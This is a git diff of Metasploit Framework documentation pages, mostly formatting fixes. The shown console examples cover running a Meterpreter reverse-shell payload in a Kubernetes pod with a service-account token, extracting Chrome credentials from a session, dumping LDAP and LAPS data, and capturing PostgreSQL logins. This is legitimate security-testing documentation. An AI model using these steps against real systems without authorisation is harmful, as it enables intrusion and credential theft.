Need a primer on Framework architecture and usage? Take a look at [our wiki here](https://docs.metasploit.com/), and feel free to reach out to the broader community [on Slack](https://metasploit.com/slack). There are also myriad public and user-generated resources on Metasploit tips, tricks, and content, so if you can't find something you want in our wiki, ask Google or the community what they recommend.
|
||||
|
||||
See all the ways to stay informed and get involved at <https://metasploit.com>.
|
||||
|
||||
@@ -30,7 +30,7 @@ Our solution to this is a data service proxy. A data service proxy allows us to
|
||||
Currently we plan to support the legacy data storage technology stack (RAILS/PostgreSQL) which we hope to eventually phase out. The new implementation will use a RESTful (https://en.wikipedia.org/wiki/Representational_state_transfer) approach whereby calls to `framework.db` can be proxied to a remote web service that supports the same data service API. We have built a web service that runs atop the current data storage service for the community.
|
||||
|
||||
This approach enables us to:
|
||||
* More easily enhance the metasploit data model
|
||||
* More easily enhance the Metasploit data model
|
||||
* Run a web-based data service independent of the Metasploit Framework
|
||||
* Reduces the memory used by a Metasploit Framework instance using a data service by no longer requiring a DB client
|
||||
* Increases throughput as storage calls don't necessarily need to be asynchronous
|
||||
@@ -41,4 +41,4 @@ This approach enables us to:
|
||||
|
||||
## Usage
|
||||
|
||||
For more information on setting up the web service and using the data services see [Metasploit Web Service](https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service).
|
||||
For more information on setting up the web service and using the data services see [[Metasploit Web Service|./Metasploit-Web-Service.md]].
|
||||
@@ -1,22 +1,22 @@
|
||||
## What is msfdb?
|
||||
msfdb is a script included with all installations of Metasploit that allows you to easily setup and control both a database and a Web Service capable of connecting this database with Metasploit.
|
||||
|
||||
While msfdb is the simplest method for setting up a database, you can also set one up manually. Instructions on manual setup can be found [here](https://metasploit.help.rapid7.com/docs/managing-the-database).
|
||||
While msfdb is the simplest method for setting up a database, you can also set one up manually. Instructions on manual setup can be found [here](https://metasploit.help.rapid7.com/docs/managing-the-database).
|
||||
|
||||
## Why should I use msfdb?
|
||||
It's not mandatory to use a database with Metasploit, it can run perfectly fine without one. However, a lot of the features that makes Metasploit so great require a database, and msfdb is the simplest way to setup a Metasploit compatible database.
|
||||
It's not mandatory to use a database with Metasploit, it can run perfectly fine without one. However, a lot of the features that makes Metasploit so great require a database, and msfdb is the simplest way to setup a Metasploit compatible database.
|
||||
|
||||
The Metasploit features that require a connected database include:
|
||||
* Recording other machines on a network that are found with a nmap scan via the `db_nmap` command are stored as "Hosts".
|
||||
* Hosts can be viewed with the `hosts` command
|
||||
* Storing credentials successfully extracted by exploits are stored as "creds".
|
||||
* Storing credentials successfully extracted by exploits are stored as "creds".
|
||||
* Credentials are viewed with the `creds` command.
|
||||
* Keeping track of successful exploitation attempts are recorded as "Vulnerabilities".
|
||||
* Keeping track of successful exploitation attempts are recorded as "Vulnerabilities".
|
||||
* Successful exploitations can be viewed with the `vulns` command.
|
||||
* The `vulns` command also tracks unsuccessful exploitation attempts
|
||||
* The `vulns` command also tracks unsuccessful exploitation attempts
|
||||
* Storing services detected on remote hosts by `db_nmap` are recorded as "Services"
|
||||
* Remote services are viewed with the `services` command
|
||||
* Tracking multiple remote sessions opened by exploit payloads
|
||||
* Tracking multiple remote sessions opened by exploit payloads
|
||||
* These sessions can be managed and tracked with the `sessions` command.
|
||||
* Storing any difficult to define information returned by successful exploits as "Loot"
|
||||
* Viewable with the `loot` command
|
||||
@@ -62,7 +62,7 @@ Generating SSL key and certificate for MSF web service
|
||||
Attempting to start MSF web service...success
|
||||
MSF web service started and online
|
||||
Creating MSF web service user your_current_account_name
|
||||
|
||||
|
||||
############################################################
|
||||
## MSF Web Service Credentials ##
|
||||
## ##
|
||||
@@ -77,15 +77,15 @@ MSF web service user API token: super_secret_api_token
|
||||
|
||||
MSF web service configuration complete
|
||||
The web service has been configured as your default data service in msfconsole with the name "local-https-data-service"
|
||||
|
||||
|
||||
If needed, manually reconnect to the data service in msfconsole using the command:
|
||||
db_connect --token super_secret_api_token --cert /Users/your_current_account_name/.msf4/msf-ws-cert.pem --skip-verify https://localhost:5443
|
||||
|
||||
|
||||
The username and password are credentials for the API account:
|
||||
https://localhost:5443/api/v1/auth/account
|
||||
```
|
||||
|
||||
Again, this is a lot of information to process, but it's not nearly as complicated as it looks. The Username, Password, and API token used to connect to the Web Service is displayed:
|
||||
Again, this is a lot of information to process, but it's not nearly as complicated as it looks. The Username, Password, and API token used to connect to the Web Service is displayed:
|
||||
|
||||
```
|
||||
MSF web service username: your_current_account_name
|
||||
@@ -93,7 +93,7 @@ MSF web service password: super_secret_password
|
||||
MSF web service user API token: super_secret_api_token
|
||||
```
|
||||
|
||||
Followed by instructions on how to connect to your database with Metasploit via the Web Service:
|
||||
Followed by instructions on how to connect to your database with Metasploit via the Web Service:
|
||||
|
||||
```
|
||||
If needed, manually reconnect to the data service in msfconsole using the command:
|
||||
@@ -109,23 +109,23 @@ https://localhost:5443/api/v1/auth/account
|
||||
|
||||
All this information is loaded by Metasploit automatically at startup from the ~/.msf4 folder. You should copy the credentials to a file in case you need them in the future. If you forget or lose the credentials but you can always run `./msfdb reinit` and reset the Web Service authentication details. **Just make sure to say no to the prompt asking you if you want to delete the Database contents!**
|
||||
|
||||
## msfdb commands
|
||||
## msfdb commands
|
||||
|
||||
The commands for msfdb are as follows:
|
||||
* `./msfdb init` Creates and begins execution of a database & web service. Additional prompts displayed after this command is executed allows optional configuration of both the username and the password used to connect to the database via the web service. Web service usernames and passwords can be set to a default value, or a value of the users choice.
|
||||
* `./msfdb delete` Deletes the web service and database configuration files. You will also be prompted to delete the database's contents, but this is not mandatory.
|
||||
* `./msfdb init` Creates and begins execution of a database & web service. Additional prompts displayed after this command is executed allows optional configuration of both the username and the password used to connect to the database via the web service. Web service usernames and passwords can be set to a default value, or a value of the users choice.
|
||||
* `./msfdb delete` Deletes the web service and database configuration files. You will also be prompted to delete the database's contents, but this is not mandatory.
|
||||
* `./msfdb reinit` The same as running `./msfdb delete` followed immediately by `./msfdb init`.
|
||||
* `./msfdb status` Displays if the database & web service are currently active. If the database is active it displays the path to its location. If the web service is active, the Process ID it has been assigned will be displayed.
|
||||
* `./msfdb status` Displays if the database & web service are currently active. If the database is active it displays the path to its location. If the web service is active, the Process ID it has been assigned will be displayed.
|
||||
* `./msfdb start` Start the database & web service.
|
||||
* `./msfdb stop` Stop the database & web service.
|
||||
* `./msfdb stop` Stop the database & web service.
|
||||
* `./msfdb restart` The same as running `./msfdb stop` followed immediately by `./msfdb start`.
|
||||
|
||||
## msfdb errors
|
||||
|
||||
In the case of any of the above commands printing either a stack trace or error, your first step should be to run `./msfdb reinit` (again making sure to say no to the prompt asking you if you want to delete the Database contents) and reattempt the command that caused the error. If the error persists, copy the command you executed, the output generated, and paste it into an [error ticket](https://github.com/rapid7/metasploit-framework/issues/new/choose).
|
||||
In the case of any of the above commands printing either a stack trace or error, your first step should be to run `./msfdb reinit` (again making sure to say no to the prompt asking you if you want to delete the Database contents) and reattempt the command that caused the error. If the error persists, copy the command you executed, the output generated, and paste it into an [error ticket](https://github.com/rapid7/metasploit-framework/issues/new/choose).
|
||||
|
||||
## What's next?
|
||||
That's it for the simple high level explanation of how to setup a database for metasploit. If that wasn't enough detail for you you can check out our more in depth explanation [here](https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service).
|
||||
That's it for the simple high level explanation of how to setup a database for metasploit. If that wasn't enough detail for you you can check out our more in depth explanation [[here|./Metasploit-Web-Service.md]].
|
||||
|
||||
If you want to get started hacking but don't know how to, here are a few guides we really like:
|
||||
* [The easiest metasploit guide you'll ever read](https://www.exploit-db.com/docs/english/44040-the-easiest-metasploit-guide-you%E2%80%99ll-ever-read.pdf) - A great, easy to follow guide on how to set up Metasploit and Metasploitable (Our intentionally vulnerable Linux virtual machine used to for security training) for VMs. Also has a fantastic guide on penetration testing Metasploitable 2, from information gathering right up to exploitation.
|
||||
|
||||
@@ -10,7 +10,7 @@ Note that any port can be used to run an application which communicates via HTTP
|
||||
|
||||
This document is generic advice for running and debugging HTTP based Metasploit modules, but it is best to use a Metasploit module which is specific to the application that you are pentesting. For instance:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > search tomcat http
|
||||
```
|
||||
|
||||
@@ -48,7 +48,7 @@ run http://example.com HttpTrace=true verbose=true
|
||||
|
||||
For instance:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > use scanner/http/title
|
||||
msf6 auxiliary(scanner/http/title) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
@@ -159,3 +159,30 @@ Module advanced options (auxiliary/scanner/http/title):
|
||||
VERBOSE false no Enable detailed status messages
|
||||
WORKSPACE no Specify the workspace for this module
|
||||
```
|
||||
|
||||
### HTTP Multiple-Headers
|
||||
Additional headers can be set via the `HTTPRawHeaders` option.
|
||||
A file containing a ERB template will be used to append to the headers section of the HTTP request.
|
||||
An example of an ERB template file is shown below.
|
||||
```
|
||||
Header-Name-Here: <%= 'content of header goes here' %>
|
||||
```
|
||||
|
||||
The following output shows leveraging the scraper scanner module with an additional header stored in ```additional_headers.txt```.
|
||||
```msf
|
||||
msf6 auxiliary(scanner/http/scraper) > cat additional_headers.txt
|
||||
[*] exec: cat additional_headers.txt
|
||||
|
||||
X-Cookie-Header: <%= 'example-cookie' %>
|
||||
msf6 auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt
|
||||
HTTPRAWHEADERS => additional_headers.txt
|
||||
msf6 auxiliary(scanner/http/scraper) > exploit
|
||||
|
||||
####################
|
||||
# Request:
|
||||
####################
|
||||
GET / HTTP/1.0
|
||||
Host: 172.16.0.63:8000
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
|
||||
X-Cookie-Header: example-cookie
|
||||
```
|
||||
|
||||
@@ -8,7 +8,7 @@ a compromised docker container, or external to the cluster if the required APIs
|
||||
|
||||
In the future there may be more modules than listed here, for the full list of modules run the `search` command within msfconsole:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > search kubernetes
|
||||
```
|
||||
|
||||
@@ -40,7 +40,7 @@ run session=-1
|
||||
|
||||
If the Kubernetes API is publicly accessible and you have a JWT Token:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > use cloud/kubernetes/enum_kubernetes
|
||||
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443
|
||||
RHOST => https://kubernetes.docker.internal:6443
|
||||
@@ -67,7 +67,7 @@ Namespaces
|
||||
|
||||
By default the `run` command will enumerate all resources available, but you can also specify which actions you would like to perform:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > show actions
|
||||
|
||||
Auxiliary actions:
|
||||
@@ -114,7 +114,7 @@ The `exploit/multi/kubernetes/exec` module will attempt to create a new pod in t
|
||||
If you have a Meterpreter session on a compromised Kubernetes container with the available permissions, the module values of `NAMESPACE`, `TOKEN`, `RHOSTS` and `RPORT` module options
|
||||
will be gathered from the session host automatically. The `TOKEN` will be read from the mounted `/run/secrets/kubernetes.io/serviceaccount/token` file if available:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket
|
||||
TARGET => Interactive WebSocket
|
||||
msf6 exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1
|
||||
@@ -136,7 +136,7 @@ pwd
|
||||
|
||||
If the Kubernetes API is available remotely, the RHOST values and token can be set manually. In this scenario a token is manually specified, to execute a Python Meterpreter payload within the `thinkphp-67f7c88cc9-tgpfh` pod:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > use exploit/multi/kubernetes/exec
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1...
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
## LDAP Workflows
|
||||
|
||||
Lightweight Directory Access Protocol (LDAP) is a method for obtaining distributed directory information from a service.
|
||||
For Windows Active Directory environments this is a useful method of enumerating users, computers, misconfigurations, etc.
|
||||
For Windows Active Directory environments this is a useful method of enumerating users, computers, misconfigurations, etc.
|
||||
|
||||
LDAP on Windows environments are found on:
|
||||
|
||||
@@ -36,7 +36,7 @@ run rhost=192.168.123.13 username=Administrator@domain.local password=p4$$w0rd a
|
||||
|
||||
Example output:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 auxiliary(gather/ldap_query) > run rhost=192.168.123.13 username=Administrator@domain.local password=p4$$w0rd action=ENUM_ACCOUNTS
|
||||
[*] Running module against 192.168.123.13
|
||||
|
||||
@@ -56,6 +56,7 @@ CN=Administrator CN=Users DC=domain DC=local
|
||||
| CN=Enterprise Admins,CN=Users,DC=domain,DC=local || CN=Schema Admins,CN=Users,DC=domain,DC=local || CN=Adm
|
||||
inistrators,CN=Builtin,DC=domain,DC=local
|
||||
name Administrator
|
||||
objectsid S-1-5-21-3402587289-1488798532-3618296993-500
|
||||
pwdlastset 133189448681297271
|
||||
samaccountname Administrator
|
||||
useraccountcontrol 512
|
||||
@@ -66,8 +67,8 @@ CN=Administrator CN=Users DC=domain DC=local
|
||||
This module has a selection of inbuilt queries which can be configured via the `action` setting to make enumeration easier:
|
||||
|
||||
- `ENUM_ACCOUNTS` - Dump info about all known user accounts in the domain.
|
||||
- `ENUM_ADCS_CAS` - Enumerate ADCS certificate authorities.
|
||||
- `ENUM_ADCS_CERT_TEMPLATES` - Enumerate ADCS certificate templates.
|
||||
- `ENUM_AD_CS_CAS` - Enumerate AD CS certificate authorities.
|
||||
- `ENUM_AD_CS_CERT_TEMPLATES` - Enumerate AD CS certificate templates.
|
||||
- `ENUM_ADMIN_OBJECTS` - Dump info about all objects with protected ACLs (i.e highly privileged objects).
|
||||
- `ENUM_ALL_OBJECT_CATEGORY` - Dump all objects containing any objectCategory field.
|
||||
- `ENUM_ALL_OBJECT_CLASS` - Dump all objects containing any objectClass field.
|
||||
@@ -75,6 +76,7 @@ This module has a selection of inbuilt queries which can be configured via the `
|
||||
- `ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow contrained delegation.
|
||||
- `ENUM_DNS_RECORDS` - Dump info about DNS records the server knows about using the dnsNode object class.
|
||||
- `ENUM_DNS_ZONES` - Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This isneeded - as without this BASEDN prefix we often miss certain entries.
|
||||
- `ENUM_DOMAIN` - Dump info about the Active Directory domain.
|
||||
- `ENUM_DOMAIN_CONTROLLERS` - Dump all known domain controllers.
|
||||
- `ENUM_EXCHANGE_RECIPIENTS` - Dump info about all known Exchange recipients.
|
||||
- `ENUM_EXCHANGE_SERVERS` - Dump info about all known Exchange servers.
|
||||
@@ -84,6 +86,7 @@ This module has a selection of inbuilt queries which can be configured via the `
|
||||
- `ENUM_HOSTNAMES` - Dump info about all known hostnames in the LDAP environment.
|
||||
- `ENUM_LAPS_PASSWORDS` - Dump info about computers that have LAPS enabled, and passwords for them if available.
|
||||
- `ENUM_LDAP_SERVER_METADATA` - Dump metadata about the setup of the domain.
|
||||
- `ENUM_MACHINE_ACCOUNT_QUOTA` - Dump the number of computer accounts a user is allowed to create in a domain.
|
||||
- `ENUM_ORGROLES` - Dump info about all known organization roles in the LDAP environment.
|
||||
- `ENUM_ORGUNITS` - Dump info about all known organizational units in the LDAP environment.
|
||||
- `ENUM_UNCONSTRAINED_DELEGATION` - Dump info about all known objects that allow uncontrained delegation.
|
||||
@@ -100,7 +103,7 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
|
||||
|
||||
Query LDAP for accounts:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13
|
||||
[*] Running module against 192.168.123.13
|
||||
@@ -113,7 +116,7 @@ msf6 auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.1
|
||||
[*] Discovering base DN automatically
|
||||
[+] 192.168.123.13:389 Discovered base DN: DC=domain,DC=local
|
||||
CN=Administrator CN=Users DC=domain DC=local
|
||||
==========================================
|
||||
============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
|
||||
@@ -41,7 +41,7 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
|
||||
|
||||
Connect to a Microsoft SQL Server instance and run a query:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > use auxiliary/admin/mssql/mssql_sql
|
||||
msf6 auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
|
||||
[*] Reloading module...
|
||||
|
||||
@@ -13,7 +13,7 @@ Metasploit has support for multiple MySQL modules, including:
|
||||
|
||||
There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > search mysql
|
||||
```
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@ Metasploit post modules replace old Meterpreter scripts, which are no longer mai
|
||||
|
||||
You can search for post gather modules within msfconsole:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > search type:post platform:windows name:gather
|
||||
|
||||
Matching Modules
|
||||
@@ -25,7 +25,7 @@ There are two ways to launch a Post module, both require an existing session.
|
||||
|
||||
Within a msf prompt you can use the `use` comand followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > use post/windows/gather/enum_chrome
|
||||
msf6 post(windows/gather/enum_chrome) > run session=-1 verbose=true
|
||||
|
||||
@@ -49,7 +49,7 @@ msf6 post(windows/gather/enum_chrome) >
|
||||
|
||||
Or within a Meterpreter prompt use the `run` command, which will automatically set the module's session value:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > sessions --interact -1
|
||||
[*] Starting interaction with 5...
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ Metasploit has support for multiple PostgreSQL modules, including:
|
||||
|
||||
There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 > search postgres
|
||||
```
|
||||
|
||||
@@ -97,7 +97,7 @@ psql postgres://postgres:mysecretpassword@localhost:5432
|
||||
|
||||
Metasploit's output will be:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf6 auxiliary(server/capture/postgresql) >
|
||||
[*] Started service listener on 0.0.0.0:5432
|
||||
[*] Server started.
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user